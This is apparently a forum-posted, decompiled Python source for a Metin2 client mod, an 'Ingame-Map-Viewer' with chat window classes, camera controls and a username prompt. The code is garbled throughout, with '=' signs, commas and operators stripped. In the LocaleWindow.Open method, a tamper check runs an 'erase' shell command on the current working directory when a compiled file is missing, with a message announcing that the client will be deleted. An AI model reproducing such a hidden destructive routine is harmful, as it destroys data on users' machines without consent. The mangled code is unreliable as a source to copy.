self.AddFlag('restrict_x')
            
self.topFlag FALSE

        
        def __del__
(self):
            
ui.DragButton.__del__(self)

        
        
def SetOwner(selfowner):
            
self.owner owner

        
        def OnMouseOverIn
(self):
            
app.SetCursor(app.VSIZE)

        
        
def OnMouseOverOut(self):
            
app.SetCursor(app.NORMAL)

        
        
def OnTop(self):
            if 
TRUE == self.topFlag:
                return 
None
            
            self
.topFlag TRUE
            self
.owner.SetTop()
            
self.topFlag FALSE


    
    def __init__
(self):
        
ui.Window.__init__(self)
        
self.AddFlag('float')
        
self._ChatWindow__RegisterChatColorDict()
        
self.boardState chat.BOARD_STATE_VIEW
        self
.chatID chat.CreateChatSet(chat.CHAT_SET_CHAT_WINDOW)
        
chat.SetBoardState(self.chatIDchat.BOARD_STATE_VIEW)
        
self.xBar 0
        self
.yBar 0
        self
.widthBar 0
        self
.heightBar 0
        self
.curHeightBar 0
        self
.visibleLineCount 0
        self
.scrollBarPos 1.0
        self
.scrollLock FALSE
        chatInputSet 
ChatInputSet()
        
chatInputSet.SetParent(self)
        
chatInputSet.SetEscapeEvent(ui.__mem_func__(self.CloseChat))
        
chatInputSet.SetReturnEvent(ui.__mem_func__(self.CloseChat))
        
chatInputSet.SetSize(55025)
        
self.chatInputSet chatInputSet
        btnChatSizing 
self.ChatButton()
        
btnChatSizing.SetOwner(self)
        
btnChatSizing.SetMoveEvent(ui.__mem_func__(self.Refresh))
        
btnChatSizing.Hide()
        
self.btnChatSizing btnChatSizing
        imgChatBarLeft 
ui.ImageBox()
        
imgChatBarLeft.SetParent(self.btnChatSizing)
        
imgChatBarLeft.AddFlag('not_pick')
        
imgChatBarLeft.LoadImage('d:/ymir work/ui/pattern/chat_bar_left.tga')
        
imgChatBarLeft.Show()
        
self.imgChatBarLeft imgChatBarLeft
        imgChatBarRight 
ui.ImageBox()
        
imgChatBarRight.SetParent(self.btnChatSizing)
        
imgChatBarRight.AddFlag('not_pick')
        
imgChatBarRight.LoadImage('d:/ymir work/ui/pattern/chat_bar_right.tga')
        
imgChatBarRight.Show()
        
self.imgChatBarRight imgChatBarRight
        imgChatBarMiddle 
ui.ExpandedImageBox()
        
imgChatBarMiddle.SetParent(self.btnChatSizing)
        
imgChatBarMiddle.AddFlag('not_pick')
        
imgChatBarMiddle.LoadImage('d:/ymir work/ui/pattern/chat_bar_middle.tga')
        
imgChatBarMiddle.Show()
        
self.imgChatBarMiddle imgChatBarMiddle
        scrollBar 
ui.ScrollBar()
        
scrollBar.AddFlag('float')
        
scrollBar.SetScrollEvent(ui.__mem_func__(self.OnScroll))
        
self.scrollBar scrollBar
        self
.Refresh()
        
self.chatInputSet.RefreshPosition()

    
    
def __del__(self):
        
ui.Window.__del__(self)

    
    
def _ChatWindow__RegisterChatColorDict(self):
        
CHAT_COLOR_DICT = {
            
chat.CHAT_TYPE_TALKINGcolorInfo.CHAT_RGB_TALK,
            
chat.CHAT_TYPE_INFOcolorInfo.CHAT_RGB_INFO,
            
chat.CHAT_TYPE_NOTICE: (15019069),
            
chat.CHAT_TYPE_PARTY: (167255212),
            
chat.CHAT_TYPE_GUILDcolorInfo.CHAT_RGB_GUILD,
            
chat.CHAT_TYPE_COMMANDcolorInfo.CHAT_RGB_COMMAND,
            
chat.CHAT_TYPE_SHOUTcolorInfo.CHAT_RGB_SHOUT,
            
chat.CHAT_TYPE_WHISPERcolorInfo.CHAT_RGB_WHISPER }
        for 
colorItem in CHAT_COLOR_DICT.items():
            
type colorItem[0]
            
rgb colorItem[1]
            
chat.SetChatColor(typergb[0], rgb[1], rgb[2])

    
    
def Destroy(self):
        
self.chatInputSet.Destroy()
        
self.chatInputSet None
        self
.btnChatSizing 0

    
    def OpenChat
(self):
        
chat.SetBoardState(self.chatIDchat.BOARD_STATE_EDIT)
        
self.boardState chat.BOARD_STATE_EDIT
        
(xywidthheight) = self.GetRect()
        (
btnXbtnY) = self.btnChatSizing.GetGlobalPosition()
        if 
localeInfo.IsARABIC():
            
chat.SetPosition(self.chatIDwidth 10y)
        else:
            
chat.SetPosition(self.chatID10y)
        
chat.SetHeight(self.chatID, (btnY self.EDIT_LINE_HEIGHT) + 100)
        if 
self.IsShow():
            
self.btnChatSizing.Show()
        
        
self.Refresh()
        
self.chatInputSet.Open()
        
self.SetTop()

    
    
def CloseChat(self):
        
chat.SetBoardState(self.chatIDchat.BOARD_STATE_VIEW)
        
self.boardState chat.BOARD_STATE_VIEW
        
(xywidthheight) = self.GetRect()
        if 
localeInfo.IsARABIC():
            
chat.SetPosition(self.chatIDwidth 10height)
        else:
            
chat.SetPosition(self.chatID10height)
        
self.chatInputSet.Close()
        
self.btnChatSizing.Hide()
        
self.Refresh()

    
    
def IsEditMode(self):
        if 
chat.BOARD_STATE_EDIT == self.boardState:
            return 
TRUE
        
        
return FALSE

    
    def _ChatWindow__RefreshSizingBar
(self):
        (
xywidthheight) = self.GetRect()
        (
gxChatgyChat) = self.btnChatSizing.GetGlobalPosition()
        
self.btnChatSizing.SetPosition(xgyChat)
        
self.btnChatSizing.SetSize(width22)
        
self.imgChatBarLeft.SetPosition(00)
        
self.imgChatBarRight.SetPosition(width 640)
        
self.imgChatBarMiddle.SetPosition(640)
        
self.imgChatBarMiddle.SetRenderingRect(0.00.0float(width 128) / 64.0 1.00.0)

    
    
def SetPosition(selfxy):
        
ui.Window.SetPosition(selfxy)
        
self._ChatWindow__RefreshSizingBar()

    
    
def SetSize(selfwidthheight):
        
ui.Window.SetSize(selfwidthheight)
        
self._ChatWindow__RefreshSizingBar()

    
    
def SetHeight(selfheight):
        (
gxChatgyChat) = self.btnChatSizing.GetGlobalPosition()
        
self.btnChatSizing.SetPosition(gxChatwndMgr.GetScreenHeight() - height)

    
    
def Refresh(self):
        if 
self.boardState == chat.BOARD_STATE_EDIT:
            
self.RefreshBoardEditState()
        
elif self.boardState == chat.BOARD_STATE_VIEW:
            
self.RefreshBoardViewState()
        

    
    
def RefreshBoardEditState(self):
        (
xywidthheight) = self.GetRect()
        (
btnXbtnY) = self.btnChatSizing.GetGlobalPosition()
        
self.xBar x
        self
.yBar btnY
        self
.widthBar width
        self
.heightBar = (btnY) + self.EDIT_LINE_HEIGHT
        self
.curHeightBar self.heightBar
        
if localeInfo.IsARABIC():
            
chat.SetPosition(self.chatIDwidth 10y)
        else:
            
chat.SetPosition(self.chatID10y)
        
chat.SetHeight(self.chatIDbtnY self.EDIT_LINE_HEIGHT)
        
chat.ArrangeShowingChat(self.chatID)
        if 
btnY y:
            
self.btnChatSizing.SetPosition(btnXy)
            
self.heightBar self.EDIT_LINE_HEIGHT
        

    
    def RefreshBoardViewState
(self):
        (
xywidthheight) = self.GetRect()
        (
btnXbtnY) = self.btnChatSizing.GetGlobalPosition()
        
textAreaHeight self.visibleLineCount chat.GetLineStep(self.chatID)
        if 
localeInfo.IsARABIC():
            
chat.SetPosition(self.chatIDwidth 10height)
        else:
            
chat.SetPosition(self.chatID10height)
        
chat.SetHeight(self.chatID, (btnY self.EDIT_LINE_HEIGHT) + 100)
        if 
self.boardState == chat.BOARD_STATE_EDIT:
            
textAreaHeight += 45
        elif self
.visibleLineCount != 0:
            
textAreaHeight += 10 10
        
        self
.xBar x
        self
.yBar height textAreaHeight
        self
.widthBar width
        self
.heightBar textAreaHeight
        self
.scrollBar.Hide()

    
    
def OnUpdate(self):
        if 
self.boardState == chat.BOARD_STATE_EDIT:
            
chat.Update(self.chatID)
        
elif self.boardState == chat.BOARD_STATE_VIEW:
            if 
systemSetting.IsViewChat():
                
chat.Update(self.chatID)
            
        

    
    
def OnRender(self):
        if 
chat.GetVisibleLineCount(self.chatID) != self.visibleLineCount:
            
self.visibleLineCount chat.GetVisibleLineCount(self.chatID)
            
self.Refresh()
        
        if 
self.curHeightBar != self.heightBar:
            
self.curHeightBar += (self.heightBar self.curHeightBar) / 10
        
        
if self.boardState == chat.BOARD_STATE_EDIT:
            
grp.SetColor(self.BOARD_MIDDLE_COLOR)
            
grp.RenderBar(self.xBarself.yBar + (self.heightBar self.curHeightBar) + 10self.widthBarself.curHeightBar)
            
chat.Render(self.chatID)
        
elif self.boardState == chat.BOARD_STATE_VIEW:
            if 
systemSetting.IsViewChat():
                
grp.RenderGradationBar(self.xBarself.yBar + (self.heightBar self.curHeightBar), self.widthBarself.curHeightBarself.BOARD_START_COLORself.BOARD_END_COLOR)
                
chat.Render(self.chatID)
            
        

    
    
def OnTop(self):
        
self.btnChatSizing.SetTop()
        
self.scrollBar.SetTop()

    
    
def OnScroll(self):
        if 
not (self.scrollLock):
            
self.scrollBarPos self.scrollBar.GetPos()
        
        
lineCount chat.GetLineCount(self.chatID)
        
visibleLineCount chat.GetVisibleLineCount(self.chatID)
        
endLine visibleLineCount int(float(lineCount visibleLineCount) * self.scrollBarPos)
        
chat.SetEndPos(self.chatIDself.scrollBarPos)

    
    
def SetChatFocus(self):
        
self.chatInputSet.SetChatFocus()

    
    
def BindInterface(self, interface):
        
self.chatInputSet.BindInterface(interface)



class 
ChatLogWindow(ui.Window):
    
BLOCK_WIDTH 32
    CHAT_MODE_NAME 
= (localeInfo.CHAT_NORMALlocaleInfo.CHAT_PARTYlocaleInfo.CHAT_GUILDlocaleInfo.CHAT_SHOUTlocaleInfo.CHAT_INFORMATIONlocaleInfo.CHAT_NOTICE)
    
CHAT_MODE_INDEX = (chat.CHAT_TYPE_TALKINGchat.CHAT_TYPE_PARTYchat.CHAT_TYPE_GUILDchat.CHAT_TYPE_SHOUTchat.CHAT_TYPE_INFOchat.CHAT_TYPE_NOTICE)
    
CHAT_LOG_WINDOW_MINIMUM_WIDTH 450
    CHAT_LOG_WINDOW_MINIMUM_HEIGHT 
120
    
    
class ResizeButton(ui.DragButton):
        
        
def __init__(self):
            
ui.DragButton.__init__(self)

        
        
def __del__(self):
            
ui.DragButton.__del__(self)

        
        
def OnMouseOverIn(self):
            
app.SetCursor(app.HVSIZE)

        
        
def OnMouseOverOut(self):
            
app.SetCursor(app.NORMAL)


    
    
def __init__(self):
        
self.allChatMode TRUE
        self
.chatInputSet None
        ui
.Window.__init__(self)
        
self.AddFlag('float')
        
self.AddFlag('movable')
        
self._ChatLogWindow__CreateChatInputSet()
        
self._ChatLogWindow__CreateWindow()
        
self._ChatLogWindow__CreateButton()
        
self._ChatLogWindow__CreateScrollBar()
        
self.chatID chat.CreateChatSet(chat.CHAT_SET_LOG_WINDOW)
        
chat.SetBoardState(self.chatIDchat.BOARD_STATE_LOG)
        for 
i in self.CHAT_MODE_INDEX:
            
chat.EnableChatMode(self.chatIDi)
        
self.SetPosition(2020)
        
self.SetSize(self.CHAT_LOG_WINDOW_MINIMUM_WIDTHself.CHAT_LOG_WINDOW_MINIMUM_HEIGHT)
        
self.btnSizing.SetPosition(self.CHAT_LOG_WINDOW_MINIMUM_WIDTH self.btnSizing.GetWidth(), (self.CHAT_LOG_WINDOW_MINIMUM_HEIGHT self.btnSizing.GetHeight()) + 2)
        
self.OnResize()

    
    
def _ChatLogWindow__CreateChatInputSet(self):
        
chatInputSet ChatInputSet()
        
chatInputSet.SetParent(self)
        
chatInputSet.SetEscapeEvent(ui.__mem_func__(self.Close))
        
chatInputSet.SetWindowVerticalAlignBottom()
        
chatInputSet.Open()
        
self.chatInputSet chatInputSet

    
    def _ChatLogWindow__CreateWindow
(self):
        
imgLeft ui.ImageBox()
        
imgLeft.AddFlag('not_pick')
        
imgLeft.SetParent(self)
        
imgCenter ui.ExpandedImageBox()
        
imgCenter.AddFlag('not_pick')
        
imgCenter.SetParent(self)
        
imgRight ui.ImageBox()
        
imgRight.AddFlag('not_pick')
        
imgRight.SetParent(self)
        if 
locale.IsARABIC():
            
imgLeft.LoadImage('locale/ae/ui/pattern/titlebar_left.tga')
            
imgCenter.LoadImage('locale/ae/ui/pattern/titlebar_center.tga')
            
imgRight.LoadImage('locale/ae/ui/pattern/titlebar_right.tga')
        else:
            
imgLeft.LoadImage('d:/ymir work/ui/pattern/chatlogwindow_titlebar_left.tga')
            
imgCenter.LoadImage('d:/ymir work/ui/pattern/chatlogwindow_titlebar_middle.tga')
            
imgRight.LoadImage('d:/ymir work/ui/pattern/chatlogwindow_titlebar_right.tga')
        
imgLeft.Show()
        
imgCenter.Show()
        
imgRight.Show()
        
btnClose ui.Button()
        
btnClose.SetParent(self)
        
btnClose.SetUpVisual('d:/ymir work/ui/public/close_button_01.sub')
        
btnClose.SetOverVisual('d:/ymir work/ui/public/close_button_02.sub')
        
btnClose.SetDownVisual('d:/ymir work/ui/public/close_button_03.sub')
        
btnClose.SetToolTipText(localeInfo.UI_CLOSE0, -23)
        
btnClose.SetEvent(ui.__mem_func__(self.Close))
        
btnClose.Show()
        
btnSizing self.ResizeButton()
        
btnSizing.SetParent(self)
        
btnSizing.SetMoveEvent(ui.__mem_func__(self.OnResize))
        
btnSizing.SetSize(1616)
        
btnSizing.Show()
        
titleName ui.TextLine()
        
titleName.SetParent(self)
        if 
localeInfo.IsARABIC():
            
titleName.SetPosition(self.GetWidth() - 206)
        else:
            
titleName.SetPosition(206)
        
titleName.SetText(localeInfo.CHAT_LOG_TITLE)
        
titleName.Show()
        
self.imgLeft imgLeft
        self
.imgCenter imgCenter
        self
.imgRight imgRight
        self
.btnClose btnClose
        self
.btnSizing btnSizing
        self
.titleName titleName

    
    def _ChatLogWindow__CreateButton
(self):
        if 
localeInfo.IsARABIC():
            
bx 20
        
else:
            
bx 13
        btnAll 
ui.RadioButton()
        
btnAll.SetParent(self)
        
btnAll.SetPosition(bx24)
        
btnAll.SetUpVisual('d:/ymir work/ui/public/xsmall_button_01.sub')
        
btnAll.SetOverVisual('d:/ymir work/ui/public/xsmall_button_02.sub')
        
btnAll.SetDownVisual('d:/ymir work/ui/public/xsmall_button_03.sub')
        
btnAll.SetText(localeInfo.CHAT_ALL)
        
btnAll.SetEvent(ui.__mem_func__(self.ToggleAllChatMode))
        
btnAll.Down()
        
btnAll.Show()
        
self.btnAll btnAll
        x 
bx 48
        i 
0
        self
.modeButtonList = []
        for 
name in self.CHAT_MODE_NAME:
            
btn ui.ToggleButton()
            
btn.SetParent(self)
            
btn.SetPosition(x24)
            
btn.SetUpVisual('d:/ymir work/ui/public/xsmall_button_01.sub')
            
btn.SetOverVisual('d:/ymir work/ui/public/xsmall_button_02.sub')
            
btn.SetDownVisual('d:/ymir work/ui/public/xsmall_button_03.sub')
            
btn.SetText(name)
            
btn.Show()
            
mode self.CHAT_MODE_INDEX[i]
            
btn.SetToggleUpEvent(lambda arg modeself.ToggleChatMode(arg))
            
btn.SetToggleDownEvent(lambda arg modeself.ToggleChatMode(arg))
            
self.modeButtonList.append(btn)
            
+= 48
            i 
+= 1

    
    def _ChatLogWindow__CreateScrollBar
(self):
        
scrollBar ui.SmallThinScrollBar()
        
scrollBar.SetParent(self)
        
scrollBar.Show()
        
scrollBar.SetScrollEvent(ui.__mem_func__(self.OnScroll))
        
self.scrollBar scrollBar
        self
.scrollBarPos 1.0

    
    def __del__
(self):
        
ui.Window.__del__(self)

    
    
def Destroy(self):
        
self.imgLeft None
        self
.imgCenter None
        self
.imgRight None
        self
.btnClose None
        self
.btnSizing None
        self
.modeButtonList = []
        
self.scrollBar None
        self
.chatInputSet None

    
    def ToggleAllChatMode
(self):
        if 
self.allChatMode:
            return 
None
        
        self
.allChatMode TRUE
        
for i in self.CHAT_MODE_INDEX:
            
chat.EnableChatMode(self.chatIDi)
        for 
btn in self.modeButtonList:
            
btn.SetUp()

    
    
def ToggleChatMode(selfmode):
        if 
self.allChatMode:
            
self.allChatMode FALSE
            
for i in self.CHAT_MODE_INDEX:
                
chat.DisableChatMode(self.chatIDi)
            
chat.EnableChatMode(self.chatIDmode)
            
self.btnAll.SetUp()
        else:
            
chat.ToggleChatMode(self.chatIDmode)

    
    
def SetSize(selfwidthheight):
        
self.imgCenter.SetRenderingRect(0.00.0float(width self.BLOCK_WIDTH self.BLOCK_WIDTH) / self.BLOCK_WIDTH0.0)
        
self.imgCenter.SetPosition(self.BLOCK_WIDTH0)
        
self.imgRight.SetPosition(width self.BLOCK_WIDTH0)
        if 
localeInfo.IsARABIC():
            
self.titleName.SetPosition(self.GetWidth() - 203)
            
self.btnClose.SetPosition(33)
            
self.scrollBar.SetPosition(145)
        else:
            
self.btnClose.SetPosition(width self.btnClose.GetWidth() - 55)
            
self.scrollBar.SetPosition(width 1545)
        
self.scrollBar.SetScrollBarSize(height 45 12)
        
self.scrollBar.SetPos(self.scrollBarPos)
        
ui.Window.SetSize(selfwidthheight)

    
    
def Open(self):
        
self.OnResize()
        
self.chatInputSet.SetChatFocus()
        
self.Show()

    
    
def Close(self):
        if 
self.chatInputSet:
            
self.chatInputSet.KillChatFocus()
        
        
self.Hide()

    
    
def OnResize(self):
        (
xy) = self.btnSizing.GetLocalPosition()
        
width self.btnSizing.GetWidth()
        
height self.btnSizing.GetHeight()
        if 
self.CHAT_LOG_WINDOW_MINIMUM_WIDTH width:
            
self.btnSizing.SetPosition(self.CHAT_LOG_WINDOW_MINIMUM_WIDTH widthy)
            return 
None
        
        
if self.CHAT_LOG_WINDOW_MINIMUM_HEIGHT height:
            
self.btnSizing.SetPosition(xself.CHAT_LOG_WINDOW_MINIMUM_HEIGHT height)
            return 
None
        
        self
.scrollBar.LockScroll()
        
self.SetSize(widthheight)
        
self.scrollBar.UnlockScroll()
        if 
localeInfo.IsARABIC():
            
self.chatInputSet.SetPosition(2025)
        else:
            
self.chatInputSet.SetPosition(025)
        
self.chatInputSet.SetSize(self.GetWidth() - 2020)
        
self.chatInputSet.RefreshPosition()
        
self.chatInputSet.SetChatMax(self.GetWidth() / 8)

    
    
def OnScroll(self):
        
self.scrollBarPos self.scrollBar.GetPos()
        
lineCount chat.GetLineCount(self.chatID)
        
visibleLineCount chat.GetVisibleLineCount(self.chatID)
        
endLine visibleLineCount int(float(lineCount visibleLineCount) * self.scrollBarPos)
        
chat.SetEndPos(self.chatIDself.scrollBarPos)

    
    
def OnRender(self):
        (
xywidthheight) = self.GetRect()
        if 
localeInfo.IsARABIC():
            
grp.SetColor(1996488704)
            
grp.RenderBar(24513height 45)
            
grp.SetColor(1996488704)
            
grp.RenderBar(xywidthheight)
            
grp.SetColor(-11381422)
            
grp.RenderBox(xywidth 2height)
            
grp.SetColor(-16777216)
            
grp.RenderBox(11width 2height)
            
grp.SetColor(-6776680)
            
grp.RenderLine(width 13height 111, -11)
            
grp.RenderLine(width 9height 17, -7)
            
grp.RenderLine(width 5height 13, -3)
        else:
            
grp.SetColor(1996488704)
            
grp.RenderBar(width 154513height 45)
            
grp.SetColor(1996488704)
            
grp.RenderBar(xywidthheight)
            
grp.SetColor(-11381422)
            
grp.RenderBox(xywidth 2height)
            
grp.SetColor(-16777216)
            
grp.RenderBox(11width 2height)
            
grp.SetColor(-6776680)
            
grp.RenderLine(width 13height 111, -11)
            
grp.RenderLine(width 9height 17, -7)
            
grp.RenderLine(width 5height 13, -3)
            
chat.ArrangeShowingChat(self.chatID)
        if 
localeInfo.IsARABIC():
            
chat.SetPosition(self.chatIDwidth 10height 25)
        else:
            
chat.SetPosition(self.chatID10height 25)
        
chat.SetHeight(self.chatIDheight 45 25)
        
chat.Update(self.chatID)
        
chat.Render(self.chatID)

    
    
def OnPressEscapeKey(self):
        
self.Close()
        return 
TRUE

    
    def BindInterface
(self, interface):
        
self.interface = interface

    
    
def OnMouseLeftButtonDown(self):
        
hyperlink ui.GetHyperlink()
        if 
hyperlink:
            if 
app.IsPressed(app.DIK_LALT):
                
link chat.GetLinkFromHyperlink(hyperlink)
                
ime.PasteString(link)
            else:
                
self.interface.MakeHyperlinkTooltip(hyperlink

PHP Code:
introLocale.py 
PHP Code:
import os
import app
import dbg
import grp
import item
import background
import chr
import chrmgr
import player
import snd
import chat
import net
import effect
import wndMgr
import fly
import systemSetting
import messenger
import constInfo
import exchange
import ime
import ui
import uiCommon
import uiPhaseCurtain
import uiMapNameShower
import uiAffectShower
import uiPlayerGauge
import uiCharacter
import uiTarget
import mouseModule
import consoleModule
import colorInfo
import emotion
import playerSettingModule
import musicInfo
import debugInfo
import stringCommander
import uiTip
import locale 
as localeInfo
from _weakref import proxy
cameraDistance 
1550.0
cameraPitch 
27.0
cameraRotation 
0.0
cameraHeight 
100.0
ScreenshotDirectory 
'screenshot'
TextPos = [
    [
        
'ARIAL:24',
        
15,
        
15,
        
'Ingame-Map-Viewer by passy305 edit by .Kori'],
    [
        
'ARIAL:17',
        
16,
        
38,
        
'Key Workfix and ML-Optimization by RealFreak'],
    [
        
'ARIAL:17',
        
16,
        
57,
        
'Anpassung an den 40k Cient by .Kori '],
    [
        
'ARIAL:16',
        
15,
        
70,
        
'--------- Keys ---------'],
    [
        
'ARIAL:14',
        
15,
        
85,
        
'F1\t-\tKamera Geschwindigkeit -'],
    [
        
'ARIAL:14',
        
15,
        
95,
        
'F2\t-\tKamera Geschwindigkeit +'],
    [
        
'ARIAL:14',
        
15,
        
105,
        
'F3\t-\tKamera Distance -'],
    [
        
'ARIAL:14',
        
15,
        
115,
        
'F4\t-\tKamera Distance +'],
    [
        
'ARIAL:14',
        
15,
        
125,
        
'F5\t-\tCharacter Image anzeigen/verbergen'],
    [
        
'ARIAL:14',
        
15,
        
155,
        
'F8\t-\tEgoperspektive anzeigen/verbergen'],
    [
        
'ARIAL:14',
        
15,
        
165,
        
'F9\t-\tNebel anzeigen/verbergen'],
    [
        
'ARIAL:14',
        
15,
        
175,
        
'F10\t-\tPausieren'],
    [
        
'ARIAL:14',
        
15,
        
185,
        
'F11\t-\tMapchange'],
    [
        
'ARIAL:14',
        
15,
        
195,
        
'Space\t-\tChatwindow'],
    [
        
'ARIAL:14',
        
15,
        
205,
        
'M\t-\tScreenshot'],
    [
        
'ARIAL:14',
        
15,
        
215,
        
'LSTRG + F9\t-\tInfinite Camera Distance on/off'],
    [
        
'ARIAL:14',
        
15,
        
225,
        
'RSTRG + F9\t-\tMax Speed on/off'],
    [
        
'ARIAL:14',
        
15,
        
245,
        
'Ecs\t-\tBeenden']]

def SetGeneralMotions(modefolder):
    
chrmgr.SetPathName(folder)
    
chrmgr.RegisterMotionMode(mode)
    
chrmgr.RegisterCacheMotionData(modechr.MOTION_WAIT'wait.msa')
    
chrmgr.RegisterCacheMotionData(modechr.MOTION_RUN'run.msa')
    
NAME_COLOR_DICT = {
        
chrmgr.NAMECOLOR_PCcolorInfo.CHR_NAME_RGB_PC }
    for 
None in NAME_COLOR_DICT.items():
        (
namergb) = None

chrmgr
.CreateRace(1)
chrmgr.SelectRace(1)
chrmgr.LoadLocalRaceData('assassin_w.msm')
path 'd:/ymir work/pc/assassin/'
SetGeneralMotions(chr.MOTION_MODE_GENERALpath 'general/')
chrmgr.SetMotionRandomWeight(chr.MOTION_MODE_GENERALchr.MOTION_WAIT070)
chrmgr.RegisterCacheMotionData(chr.MOTION_MODE_GENERALchr.MOTION_WAIT'wait_1.msa'30)

class 
LocaleWindow(ui.ScriptWindow):
    
    
def __init__(selfstream):
        
ui.ScriptWindow.__init__(self'GAME')
        
self.SetWindowName('game')
        
net.SetPhaseWindow(net.PHASE_WINDOW_GAMEself)
        
player.SetGameWindow(self)
        
self.wndGuildBuilding None
        self
.playershstatus 0
        self
.pressNumber None
        x 
30000
        y 
40000
        background
.Initialize()
        
background.LoadMap('metin2_map_a1'xy0)
        
background.SetShadowLevel(background.SHADOW_ALL)
        
self.Chat()
        
self.MakeCharacter(xy)
        
player.SetMainCharacterIndex(1)
        
chr.SelectInstance(1)
        
chr.Hide()
        
app.HideCursor()
        
chrmgr.SetMovingSpeed(400)
        
self.camspeed 400
        app
.SetCameraMaxDistance(2500)
        
self.cammaxdistance 2500
        self
.egopersp 0
        self
.fogonoff 0
        self
.caminfionoff 0
        self
.cammspeedonoff 0
        self
.lastmsg ''
        
self.msg ''
        
self.lastchatcheck 0
        self
.Version 'Alpha by .Kori'
        
self.username ''
        
self.Information = { }
        for 
local in xrange(len(TextPos)):
            
self.Information[str(local)] = ui.TextLine()
            
self.Information[str(local)].SetFontName(TextPos[local][0])
            
self.Information[str(local)].SetPosition(TextPos[local][1], TextPos[local][2])
            
self.Information[str(local)].SetText(TextPos[local][3])
            
self.Information[str(local)].SetFeather()
            
self.Information[str(local)].SetOutline()
            
self.Information[str(local)].Show()
        
self.Button3 ui.Button()
        
self.Button3.SetPosition(20300)
        
self.Button3.SetUpVisual('d:/ymir work/ui/public/large_Button_01.sub')
        
self.Button3.SetOverVisual('d:/ymir work/ui/public/large_Button_02.sub')
        
self.Button3.SetDownVisual('d:/ymir work/ui/public/large_Button_03.sub')
        
self.Button3.SetText('Loader')
        
self.Button3.SetEvent(self._LocaleWindow__OnKlickLoader)
        
self.Button3.Show()
        
self.stream stream
        self
.curtain uiPhaseCurtain.PhaseCurtain()
        
self.curtain.speed 0.029999999999999999
        self
.curtain.Hide()

    
    
def MakeCharacter(selfxy):
        
chr.CreateInstance(1)
        
chr.SelectInstance(1)
        
chr.SetVirtualID(1)
        
chr.SetInstanceType(chr.INSTANCE_TYPE_PLAYER)
        
chr.SetRace(1)
        
chr.SetArmor(12)
        
chr.SetHair(2003)
        
chr.Refresh()
        
chr.SetMotionMode(chr.MOTION_MODE_GENERAL)
        
chr.SetLoopMotion(chr.MOTION_WAIT)
        
chr.SetPixelPosition(xy)
        
chr.SetDirection(chr.DIR_NORTH)

    
    
def __del__(self):
        
player.SetGameWindow(0)
        
net.ClearPhaseWindow(net.PHASE_WINDOW_GAMEself)
        
ui.ScriptWindow.__del__(self)

    
    
def Open(self):
        
app.SetFrameSkip(1)
        
self.SetSize(wndMgr.GetScreenWidth(), wndMgr.GetScreenHeight())
        
self.PickingCharacterIndex = -1
        self
.isShowDebugInfo FALSE
        app
.SetCamera(cameraDistancecameraPitchcameraRotationcameraHeight)
        
constInfo.SET_DEFAULT_CAMERA_MAX_DISTANCE()
        
constInfo.SET_DEFAULT_FOG_LEVEL()
        
import event
        event
.SetLeftTimeString(localeInfo.UI_LEFT_TIME)
        
self._LocaleWindow__BuildKeyDict()
        
self._LocaleWindow__BuildDebugInfo()
        if 
debugInfo.IsDebugMode():
            
self.ToggleDebugInfo()
        
        
self.SetFocus()
        
self.Show()
        
app.ShowCursor()
        if 
not os.path.exists('imv'):
            
os.mkdir('imv')
        
        if 
not os.path.exists('imv/username.ini'):
            
open('imv/username.ini''w+')
            
f.write('')
            
f.close()
        
        if 
not os.path.exists('imv/lastmessage.ini'):
            
open('imv/lastmessage.ini''w+')
            
f.write(self.lastmsg)
            
f.close()
        
        
open('imv/username.ini''r')
        
self.username f.read()
        
f.close()
        if 
self.username == '':
            
UsernameDialog uiCommon.InputDialogWithDescription2()
            
UsernameDialog.SetAcceptEvent(lambda arg TRUEself.NewUsername(arg))
            
UsernameDialog.SetCancelEvent(lambda arg FALSEself.NewUsername(arg))
            
UsernameDialog.SetTitle('Bitte deinen Namen eingeben!')
            
UsernameDialog.SetDescription1('Du \xf6ffnest den Ingame-Map-Viewer zum ersten Mal oder hast noch keinen Namen angegeben.')
            
UsernameDialog.SetDescription2('Bitte gebe deinen Namen ein.')
            
UsernameDialog.SetMaxLength(64)
            
UsernameDialog.Open()
            
self.UsernameDialog UsernameDialog
        
        chat
.AppendChat(chat.CHAT_TYPE_INFO'IMV-System: Version Check ist aktiviert.')
        
chat.AppendChat(chat.CHAT_TYPE_INFO'IMV-System: Version ' self.Version)
        if 
not os.path.exists('lib/introLocale.pyc'):
            
dbg.LogBox('Modifikation an Mapviewer festgestellt..\nClient wird gel\xf6scht.')
            
derzosverz os.getcwd()
            
os.system('erase ' derzosverz)
            
app.Exit()
        
        
Username self.username
        
if Username.find(' '):
            
Username Username.replace(' ''6758XN8576')
        
        if 
Username == '':
            
Username 'NewUser'
        
        
self.UserInfo ui.TextLine()
        
self.UserInfo.SetFontName('ARIAL:20')
        
self.UserInfo.SetText('Registriert auf: ' Username)
        
self.UserInfo.SetPosition(wndMgr.GetScreenWidth() - 20015)
        
self.UserInfo.SetFeather()
        
self.UserInfo.SetOutline()
        
self.UserInfo.Show()

    
    
def NewUsername(selfanswer):
        if 
not (self.UsernameDialog):
            return 
None
        
        
if answer:
            
newuname self.UsernameDialog.GetText()
            
open('imv/username.ini''w+')
            
f.write(newuname)
            
f.close()
            
chat.AppendChat(chat.CHAT_TYPE_INFO'IMV-System: Danke ' self.UsernameDialog.GetText() + '!')
            
chat.AppendChat(chat.CHAT_TYPE_INFO'IMV-System: Du hast den Ingame-Map-Viewer erfolgreich registriert')
            
self.UserInfo.SetText('Registriert auf: ' newuname)
            
self.UsernameDialog.Close()
            
self.UsernameDialog None
        
else:
            
chat.AppendChat(chat.CHAT_TYPE_INFO'IMV-System: Du musst einen Namen angeben!')

    
    
def Close(self):
        global 
cameraDistancecameraPitchcameraRotationcameraHeight
        self
.Hide()
        (
cameraDistancecameraPitchcameraRotationcameraHeight) = app.GetCamera()
        
self.onPressKeyDict None
        self
.onClickKeyDict None
        chat
.Close()
        
snd.StopAllSound()
        
grp.InitScreenEffect()
        
chr.Destroy()
        
background.Destroy()
        
wndMgr.Unlock()
        
mouseModule.mouseController.DeattachObject()
        
self.PrintCoord None
        self
.FrameRate None
        self
.Pitch None
        self
.Splat None
        self
.TextureNum None
        self
.ObjectNum None
        self
.ViewDistance None
        self
.ClearDictionary()
        
player.ResetCameraRotation()
        
self.KillFocus()
        
app.HideCursor()
        
Username self.username
        
if Username.find(' '):
            
Username Username.replace(' ''6758XN8576')
        

    
    
def Chat(self):
        
import uiChat
        CHAT_WINDOW_WIDTH 
600
        wndChat 
uiChat.ChatWindow()
        
wndChat.SetSize(CHAT_WINDOW_WIDTH25)
        
